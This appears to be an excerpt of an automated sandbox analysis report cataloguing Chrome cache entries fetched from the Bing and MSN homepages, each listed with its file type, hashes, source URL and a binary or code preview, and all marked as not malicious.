Preview:	(()=>{var e=[,function(e,t,r){"use strict";var n=this&&this.__createBinding\|\|(Object.create?function(e,t,r,n){void 0===n&&(n=r),Object.defineProperty(e,n,{enumerable:!0,get:function(){return t[r]}})}:function(e,t,r,n){void 0===n&&(n=r),e[n]=t[r]}),i=this&&this.__exportStar\|\|function(e,t){for(var r in e)"default"===r\|\|t.hasOwnProperty(r)\|\|n(t,e,r)};Object.defineProperty(t,"__esModule",{value:!0});var o=r(2);r(6).Events.instance.attachConsoleListener(new o.ConsoleLoggingListener),i(r(64),t)},function(e,t,r){"use strict";var n=this&&this.__createBinding\|\|(Object.create?function(e,t,r,n){void 0===n&&(n=r),Object.defineProperty(e,n,{enumerable:!0,get:function(){return t[r]}})}:function(e,t,r,n){void 0===n&&(n=r),e[n]=t[r]}),i=this&&this.__exportStar\|\|function(e,t){for(var r in e)"default"===r\|\|t.hasOwnProperty(r)\|\|n(t,e,r)};Object.defineProperty(t,"__esModule",{value:!0}),i(r(3),t),i(r(54),t),i(r(55),t),i(r(236),t),i(r(237),t),i(r(238),t),i(r(239),t),i(r(248),t),i(r(249),t),i(r(250),t),i(r(

Chrome Cache Entry: 572

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4879
Entropy (8bit):	7.909046630105761
Encrypted:	false
SSDEEP:	96:8zgE9tCle2bO6k8Xwm9bwmmVNiTgZ3qwYizBWxYajUXM3gN+u7fa:yg4MMQO6TXP9bwmmecZXNQV1gNHO
MD5:	4E6090E720A5FEBEAC0CC4AD6A126A97
SHA1:	65161513DDF0EB78EA0E7A8E27C42877C6A1C742
SHA-256:	2E21A2AE45558E20407B16EED9A72FC40139C23C2F96206212757BAE521185DC
SHA-512:	F109B90FC99DC8C9A1384A7F258D1F77B4BF8217F140838614689835BB6DAD54BEBC8F70DACFD8D37143CCA5AFB81F2E8CAAFE9A4E7DF8199753EAC5AB34F1CB
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.../.7.F.\|C0.mO",..q..D.........t..-I...)..s....y}...c3..>...Ym.EtI.U.oEC.G..^..`qs.o].M&.R.F.m....i.hy"..F..s.C#...O_I.<Y.Kz.r.m6...4L.......qY.[<....?.....7..nI....=.......kbe]F.(.;%..g\|...^..'.......k....\.'..@?\.(-..lZ..E.k.s...>..x.R..9.}...vb...7j...s...tj.l!<..]..l.?(,9...OLVG..........,7..p3....l.e.lv...J0.....w"..<.\.;z.5h$h......=:.>\v.O\|.

Chrome Cache Entry: 573

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	15304
Entropy (8bit):	7.9616942640776465
Encrypted:	false
SSDEEP:	384:eFn96/KruPDPwA0e0JotodfKPjAVxGvOXzVfW8VykVHGC05Sp9rTxh:eN96/1rPwwLtoNujAxA8p1Hp3JD
MD5:	93F9C1B34D75E005555B47E166C398FB
SHA1:	61F7A43AD6E90F0582C9C1C692F79EDC5B54B4B1
SHA-256:	7486DE6151B3D5CA59ABFB102CFA6B1401A96A86F0FE32D6277C6775F8FBE63D
SHA-512:	F54C70AB31301F159C0B9E1EA76C94FA1799FC6C8946476E667001B89AC75C27E4466A974D29F7B68B2B8EC702C58575E35B4635AED67A81789089DC940DE826
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.485687faf4b15bf0a80f1abd6329da32&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...J..Nv.>..5..)dr.(..sQk.%.i..$.r.O........`B..@.r.I..l......=....j_j..?..>`9..P...`...K.H#.7...$....@pM2^..t[.OM.evi-$?6.Nz..K.i~$...".?vr.}..m\|I\|......b.M..3...;...g.U.M.(..y.^.^.^k...q..\..$.YFr+.<..Zx...i.4..2#........J......N:..+;.7ZYc.....x..x.;..xxZ...du\..r..6.....i[c..5.gv.>^...s..k5{..16....3>Gz.q.N.zm.B8<.Z.%..J...VM...;V......P..[(...P....e>^..,

Chrome Cache Entry: 574

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1042
Entropy (8bit):	4.643250633952913
Encrypted:	false
SSDEEP:	12:6v/7AmpUGGcLEHXSTA1udJqRcUunD8WvMI5ho7EQNU11kE:zme8uXbgJq+70I/o7Ep
MD5:	3F678119F72F6FA7F86885AE77424D87
SHA1:	E3F1B2B4495AE9C1A7B3D1CD3A97403976A76C17
SHA-256:	B1C4978024E63DF37CF1C6D5EE9D135CB9A4C5522E50C1D1C992494159926F7E
SHA-512:	949B7A9525A806F338B0C2BC6FD59B576DAE899133F6BD1F73203E415E8E6E8DBCB129B49B3B4DC5283DD3CB425BC158644329AC895CDA4F9A6B49EB01CBDF42
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx..S...q.~......OPdP.... .e...`P2.+)..&...D!.`1JR...t~vw>...ru.......>..........,...p2..."..b...xn.._.H$....K\|...f.H$..jQ....0.N.v...p8@.R..r!..C.... ..c>...Z-..~.....l.X0..i.z.F&...L&......j.b.X$./.F...N....&...&..+@.^..xD$.A.P@...r..c.$...Z.p:.H'.Px.(..$L ..f.A.B...j..L&.\,.....B.P\|.p..~.6...j...R....L...T..n...._..5........&...8.^...lF..v.p8LN....T*...N'..(.9.."...3.f...1..?.W[.._...4B...J%\|>...?.Yd.....h..7co//.......w..g......?.,.;......L.....IEND.B`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 575

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	80377
Entropy (8bit):	5.044147290339786
Encrypted:	false
SSDEEP:	1536:KlT4i0HdZuaRNuccj3q4Zz9THmcWcTZqhzbKyNw:YMdZuaRNuzutcWcdB
MD5:	B9A834AEDC811DA9EE6344632C850EC6
SHA1:	CEBAD948A2CCED6DAC3C676C3F8CE1CD59B649DF
SHA-256:	86A7A9E4632332D8419D54ABA9D2179E5484A724269DC6A0B3B5B5E63031E706
SHA-512:	A2217F8A68430FB4ED164AF50E1F41A675A2B4308BAA4E6CB4773AF8E60814C35CF4C6C4D0798C608988B3C0751B7AE83E1759AE3BCCBE5FE21BC87E672A3D24
Malicious:	false
Reputation:	unknown
URL:	"https://www.msn.com/resolver/api/resolve/v3/config/?expType=AppConfig&expInstance=default&apptype=bingHomepage&v=20231204.1&targetScope={%22audienceMode%22:%22adult%22,%22browser%22:{%22browserType%22:%22chrome%22,%22version%22:%22117%22,%22ismobile%22:%22false%22},%22deviceFormFactor%22:%22desktop%22,%22domain%22:%22https://www.bing.com%22,%22locale%22:{%22content%22:{%22language%22:%22en%22,%22market%22:%22us%22},%22display%22:{%22language%22:%22en%22,%22market%22:%22us%22}},%22os%22:%22windows%22,%22platform%22:%22web%22,%22pageType%22:%22widgetfeed%22,%22pageExperiments%22:[]}"
Preview:	{"configs":{"AppConfig/default":{"properties":{"rootExperience":{"configRef":{"experienceType":"Widgets","instanceSrc":"default"}}}},"Widgets/default":{"properties":{"dataConnectors":[{"screenWidth":"Any","children":[{"instanceId":"WeatherData","configRef":{"experienceType":"WeatherData","instanceSrc":"default"}},{"instanceId":"TopicData","configRef":{"experienceType":"TopicData","instanceSrc":"default"}}]}],"widgets":{"BingHomepageFeed":{"instanceId":"BingHomepageFeed","configRef":{"experienceType":"BingHomepageFeed","instanceSrc":"default"}},"EsportsCard":{"instanceId":"EsportsCard","configRef":{"experienceType":"EsportsCard","instanceSrc":"default"}},"SportsCardWC":{"instanceId":"SportsCardWC","configRef":{"experienceType":"SportsCardWC","instanceSrc":"default"}},"TrafficCardWC":{"instanceId":"TrafficCardWC","configRef":{"experienceType":"TrafficCardWC","instanceSrc":"default"}},"WeatherCardWC":{"instanceId":"WeatherCardWC","configRef":{"experienceType":"WeatherCardWC","instanceSrc"

Chrome Cache Entry: 576

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4402
Entropy (8bit):	7.886154808744179
Encrypted:	false
SSDEEP:	48:8/bxnuERAxkILDk91RZ3ttXoMTF685436Nl1alqYesUf8q8YK0MaI1+qFoSEBfrm:8zgEYg917vTFBalqYeB8zB1GSEhmIU
MD5:	B9F2ED6B7A89EC13B725AD6C6F1824C0
SHA1:	151E9E232DF6551D68D1299C7D8221D3EFD02A4F
SHA-256:	A3F6BD882A0A8F4F62E7F2D87C65AC084D154BAF6146D851A8B73C2F26A8C780
SHA-512:	82D1F20EBB416CB9BD9DDE3670EB959C547A8996B8FA0067BCCCC3BBA341FB5539EB85E84F166553DE58BDD72B6F20AA8987E6AEAE6056A146C603DE0BE579D6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....c.<.../.l...M.'.Q}..{&_..e.~.....i.E..6.G$.t....;..ZG.,....n..,..J.......?.yw=\D.x........./G.....{.G.s.;.G.....-x.:. #..u#..^#{...e.M..v..G...Um....0vzW.x...P..K........n...x.>.x.U.....0."x.{..5(..r>l...@.Os.f.].^...T..m..t..*.l...5......u.K...<d.q?.o.....@v...3......7g.{V....]../..DY...d..... .kA.x.$..~u,.u.`...z.[....._..l#.......?..D......o>.?Z.

Chrome Cache Entry: 577

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	7.869742556964816
Encrypted:	false
SSDEEP:	48:8/bxnuERAczjHWu1zObitB0zRp5/tEHySKmpdvgWvPXba22J5ieGnCN9WpM:8zgE7vHWut5BWLeSspNjLa22J5i1CvW+
MD5:	AFA5114B4E0AB7C2770F87A24EB36CC0
SHA1:	F0443CD986DFA5AD165E91700639AC1B31F17CD9
SHA-256:	9434F5BD85A582483EF73E8B9FE18831894C311DB4C3A2BC3F3E9FE6CAC5A1BB
SHA-512:	DBD05FEE4CD440301B978E9B517CF8825AEBC34827BB120C0CC83EFD65393B7202C57FBD39091BF21A608FF91AEA3E114E2DEE63201DA5FEE650A0D36BF87103
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.."..=F.P...x.J.$...I.T....:Y........y.....l..?.'...?..?.....z..!6ooy...i..u.lw...r.d..d.z.^..E.i.].F.8'..a.z....Z.{....x.e..........J.9Kc..Ic....JL..V1..v$....W.......3e.....0........@..xoc..iO.r7t..\|{{.....owq-.C.p.A.j.r...........G.Y....u..#..RxP.\c.9.....2x.....b.I%..y.l.wee\.T.......U]z[{.baEP&...=..)'u..:...n{}....}..cl....1....j.q.G..A....'.....L.

Chrome Cache Entry: 578

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	2270072
Entropy (8bit):	5.514925874975835
Encrypted:	false
SSDEEP:	49152:/HvYZPvbTcU1TZGd4lsnIsBN7+pMMDcfGn08yu2wbrBkuR7abqujNVu2wbuUodM4:6EUuYW
MD5:	99F265BA30F6490194CEF31B5354A191
SHA1:	D7B28EA9A37BEC1BD61047F0023CB2D78E1F6D5B
SHA-256:	93919290215A713DE539F3566C39A8D3F8681046A5FC6251A9E3C323726BA4F0
SHA-512:	E21D0608A1BB1D08F44F9D45F745A6CDECE16A760DBD860425BCCA063C5001A4FA91E8CC51E333C2456FA9B554FCD0E1D8B2EEA626345E84FA5620F645C27E4D
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/common.cc82bdf90bc0731a6db7.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common"],{68402:function(e,t){t.Z='<svg width="12" height="12" viewBox="0 0 11 12"><path d="M6.5 1.75a.75.75 0 0 0-1.5 0V5H1.75a.75.75 0 0 0 0 1.5H5v3.25a.75.75 0 0 0 1.5 0V6.5h3.25a.75.75 0 0 0 0-1.5H6.5V1.75Z"/></svg>'},53271:function(e,t){t.Z='<svg width="20" height="20" viewBox="0 0 20 20"><path d="M6 10a1.25 1.25 0 1 1-2.5 0A1.25 1.25 0 0 1 6 10zM11.25 10a1.25 1.25 0 1 1-2.5 0 1.25 1.25 0 0 1 2.5 0zM15.25 11.25a1.25 1.25 0 1 0 0-2.5 1.25 1.25 0 0 0 0 2.5z"/></svg>'},8686:function(e,t){t.Z='<svg width="12" height="12" viewBox="0 0 12 12"><path d="M9.76 3.2c.3.29.32.76.04 1.06l-4.25 4.5a.75.75 0 0 1-1.08.02L2.22 6.53a.75.75 0 0 1 1.06-1.06l1.7 1.7L8.7 3.24a.75.75 0 0 1 1.06-.04Z"/></svg>'},60577:function(e,t){t.Z='<svg width="20" height="20" viewBox="0 0 20 20"><path d="M12.35 15.85a.5.5 0 0 1-.7 0L6.16 10.4a.55.55 0 0 1 0-.78l5.49-5.46a.5.5 0 0 1 .7.7L7.2 10l5.16 5.15c

Chrome Cache Entry: 579

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	5673
Entropy (8bit):	7.920465170900749
Encrypted:	false
SSDEEP:	96:8zgEb4fi3drwD9iL6Vcho/xduPT7kJqPgB7Kq4pob2uJimLZYxVlrr:ygU46RIca/viLY7KqKoyuJ5mxD
MD5:	78982706D0E505CEEC6C746496694944
SHA1:	7A56E20E7B73CBEFEFAB3E3441CE65B23E717074
SHA-256:	42607910CC7038C6641A2D778773053D9B2FFCDBAC9751A4983ECFAFA9A90FEC
SHA-512:	6CF93184734AE00476DEF1B83B495E3CA9ED4CA0529AE4C8B99B1A901C84DD39E1D75285E3D15011388207B2E6EE7A87BF33D5375AE2BAC764C3E987D2EE93D7
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_BxR2v1wL1q3xXTylcgUvig&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K(...@.....$...u....XE.......n....s...<......R...H?.E?.~..~Y.>.......6.b.R[[izt.`.J..&YUN.$s.rV..>n..[..l...f.5i.?.Z...G...7e..j...#....fi67...6V^d..:.h:......]...4....U..~.?....P..+..us_A.<=.......#..}...Z...R.....{..U5.R.J.Y..X..G.....EU...A..[....l..yY.&f...Y...qi....qB..Y.6..P:.J.oR`g5.z..45._>.....,..=.n .\.}*...S..<V.6...>..`..z.$.(k.]...\.....O....%

Chrome Cache Entry: 580

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	885
Entropy (8bit):	4.540904779535972
Encrypted:	false
SSDEEP:	12:ty6MIrYQ2f6pmdyG5zbaWqFQZtKSlt85upWEtKMca/Kv3kK3kK3TfQARQ:ttMIYQpmgG5z+zFQZcSXWEcoqRQ
MD5:	414172125A836F204112B66E4ADFE745
SHA1:	EED4DF6339EBE66FE56EC09A4D9E6527935F30DC
SHA-256:	5E60F75EFFE3C581E844D490F8E002510C7DC67A45BCBB36C433F08BF5416E04
SHA-512:	2701D263E3F4FFAF919A610332FF76ED23D104632A16CBFABAA119DB27756D2335311973413EAABA618BE18DAA65ED88EA648A64D0D84DAB51FD98A929E7F244
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/7tTfYznr5m_lbsCaTZ5lJ5NfMNw.svg
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#111" stroke="#111"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.895 2 2 2h47c1.105 0 2-.895 2-2s-.895-2-2-2z" fill="#ddd"/></svg>

Chrome Cache Entry: 581

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	14851
Entropy (8bit):	5.495815178774911
Encrypted:	false
SSDEEP:	192:rKLgwZJGGQjfdXuC7Sr55BPVXSaQz9tKfSX:WHfGGQjfr7S55VXSHcSX
MD5:	CADF83A685420D31391241162151F29F
SHA1:	5242E4CA6FE3476638A23FB9CB640A0190B87C12
SHA-256:	CB3CD985B0ADA3CF2A80C0BBC5F649C8834158DB9621CBB05AB7C29941E0194F
SHA-512:	09DDFB027B3E1ACC8C8797F65AFCBD48F026F771D443C916752F36F94DBE99701EBFCD066573B628DEB009A7E5B7220988CF43A2C29E03523A81D0D809C54236
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/hp/api/v1/carousel?&format=json&ecount=20&efirst=0&&
Preview:	{"title":"","data":[{"typeName":"TrendingNow","items":[{"title":"6 dead, 3 injured in Texas","url":"/search?q=Shootings+across+Texas&efirst=0&ecount=50&filters=tnTID%3a%223C7AB6C8-CAEF-439f-B7E1-A920F1936B4E%22+tnVersion%3a%225397467%22+Segment%3a%22popularnow.carousel%22+tnCol%3a%220%22+tnOrder%3a%2271d457e3-4efc-4515-a427-ec660c18ae7e%22&form=HPNN01","imageUrl":"/th?id=OPN.RTNews_pu4Sh615T_Ss0HuDxz5lbg&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow","badge":null,"imageCredit":". Provided by New York Post","tooltip":"Shootings across Texas","linksTarget":"","dataTags":null,"additionalMetaData":{"editorial":{"clickThroughUrl":"","badgeText":"","badgeColor":"","badgeBackground":""},"msn":{"clickThroughUrl":"","articleId":"","source":""}},"shortTitle":"","longTitle":""},{"title":"Cause of death revealed","url":"/search?q=Brandi+Mallory+cause+of+death&efirst=0&ecount=50&filters=tnTID%3a%22E24BE7E9-8928-4f67-86C7-43D7218A9149%22+tnVersion%3a%225397467%22+Segment%3a%22popularnow.carousel%22+tnCol%3

Chrome Cache Entry: 582

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	18911
Entropy (8bit):	7.960797073792281
Encrypted:	false
SSDEEP:	384:eh6U4Up7YtQxrNJCL1K+4qVmahEH//OznXb4b54zrEB8oAMlaHcLmMThq8ZPFJW/:ehz42prNJBH3OznXPmRNla8LJNLP+EM
MD5:	EEFAF6BAD80DCE50DCB12ED5F86FC97F
SHA1:	F7BA321ABC12275470EA5FF60CA5EBD3A1A2F400
SHA-256:	D8D76EDD9A0B6F6D4CED1E51D05F3CBFBFFFA0636DE9E8F74AFA9FE66E9C4610
SHA-512:	F9286A93B23E4C73DC37EEBDE3D1D4876CCFCDD358629A7EBCDEE8FFE36B39CBB1203E244172FCE54BB65E1532FB36722FE1ED0BCB5D816BF7425FD60759C380
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.65875ded7e82efc824a66cebf5fae052&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..:..._8...w.Mi....9...f../..g..8...u.ug...n(....L..c..p..n.......sw7.\....;..+......C..o.UO.I.G.b,.....~G..b.b.aQ..J..F..:.7.6.?,....K.\}...-`u.W.;...I$\|d..*...[cs....C....=.C3C...8Vp....&.x...5#J;u...p......Mg .@.]3sQ..5T2.I.cJ.r.M..{....F...\....k\b..~j7..f..?5G%.f.7.Li..L...$...f...&.@..i...s.Y.u.jW.~K..o..Q.M...LP.....UG....:...\|..8U......S...

Chrome Cache Entry: 583

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	6390
Entropy (8bit):	7.916045846394136
Encrypted:	false
SSDEEP:	96:8zgENeFGicJL25Ssxv3SEgGTEU4AKiTi2d95qNgmsXhn2:ygVCZ4bvNgVXoTivNgmsXp2
MD5:	8BD85792846F5BAE63FDC99CA49150FF
SHA1:	205880EDF6118311758CBDEC786E34BF6C5F2C04
SHA-256:	6C29760D9B90767B751689DA2ACFBDF12C15C63427CBCB62D7947F78B9C4F85F
SHA-512:	55E6443EA079230DBF72A81F7B043D9D9EFA5B11B4A502A77CD4243D9BF676845951CBC1F88703E9D3A775F12EFB43DA725CAE349EA844F0AB10B320515B20A7
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_XJzc5sCg4mbh16YyF22jRA&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....8b..'.._'...2.O0H.U.....t.>...".&..e...WL....1.....R%...z.K.......e..6....:.:...V_i...d...v..p..NGo.N.wCP....l..\.:s...^.gt.w....yN....G....i.C),"..s.p..z.......hV.Q.3y"(..z......(.+TZ..z.Y......[.?..JO..D.#J.l...g.....n.....QN...\|C. ..H...Y... *.x.^\|...zm.......".$X.....l..}I5..K..k.9......,.....b..Q".....g..-..{..._9...oi.q...Y.D.p...[.J.6...

Chrome Cache Entry: 584

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	885
Entropy (8bit):	4.540904779535972
Encrypted:	false
SSDEEP:	12:ty6MIrYQ2f6pmdyG5zbaWqFQZtKSlt85upWEtKMca/Kv3kK3kK3TfQARQ:ttMIYQpmgG5z+zFQZcSXWEcoqRQ
MD5:	414172125A836F204112B66E4ADFE745
SHA1:	EED4DF6339EBE66FE56EC09A4D9E6527935F30DC
SHA-256:	5E60F75EFFE3C581E844D490F8E002510C7DC67A45BCBB36C433F08BF5416E04
SHA-512:	2701D263E3F4FFAF919A610332FF76ED23D104632A16CBFABAA119DB27756D2335311973413EAABA618BE18DAA65ED88EA648A64D0D84DAB51FD98A929E7F244
Malicious:	false
Reputation:	unknown
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#111" stroke="#111"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.895 2 2 2h47c1.105 0 2-.895 2-2s-.895-2-2-2z" fill="#ddd"/></svg>

Chrome Cache Entry: 585

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24016)
Category:	downloaded
Size (bytes):	176641
Entropy (8bit):	5.417759687232788
Encrypted:	false
SSDEEP:	3072:PQH7d0WjpvRZR3OnbJooDaHNZya0gkR7Ibp:LWjpPKJoOaHua0gkZG
MD5:	B2BDD0B747AA9B607FA0245B831A39E2
SHA1:	74C213119E6BB6D700DDD9BCCCC91027AAB2D305
SHA-256:	33CB50D25ADFF662239A59FC51D01D78C89E2F369FB80E7E3334D0E4349C1278
SHA-512:	033FD94D608FB997CFE158AF0B7DE54989FBE463304C85EEDE21896499BEBF29F32A2EAD885EC6056F7749CC2421EF6C9F0C03C3532469CD9A0481931F2D600E
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/web-components_super-cards_dist_cards_super-sd-card_core-sd-card_register_js.44636ab434433b578ba1.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["web-components_super-cards_dist_cards_super-sd-card_core-sd-card_register_js"],{64664:function(t,e,i){"use strict";i.d(e,{F:function(){return n}});class n{constructor(){this.supports3DContent=!1}attemptNavItemChange(t){return!!this.superNavChangeCallback&&(this.superNavChangeCallback(t),!0)}disconnectSuperNav(){this.superNavChangeCallback=void 0}getForceSelectedNavItemId(){return this.forceSelectedNavItemId}getSupports3DContent(){return this.supports3DContent}static getInstance(t){return n.instance\|\|(n.instance=new n),t&&(n.instance.superNavChangeCallback=t),n.instance}registerForceSelectedNavItemId(t){this.forceSelectedNavItemId=t}registerSupports3DContent(t){this.supports3DContent=t}}},40866:function(t,e,i){"use strict";let n;i.d(e,{k:function(){return o}});const o=t=>{n&&t&&n.observe(t)}},11232:function(t,e,i){"use strict";i.d(e,{$0:function(){return O}});var n=i(45896),o=i(43178),a

Chrome Cache Entry: 586

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	308
Entropy (8bit):	6.593727490677001
Encrypted:	false
SSDEEP:	6:6v/lhPk+nD1v427BaK+V1dv340ikehD09kEKBtUsu87sCLQKpRVp:6v/7sG1vU1l3PehASTYstSKpR7
MD5:	BDA49766E2E7E028EF09D0E34988ECDF
SHA1:	73FED2C00C224AA0DF89397EC41488D63975C882
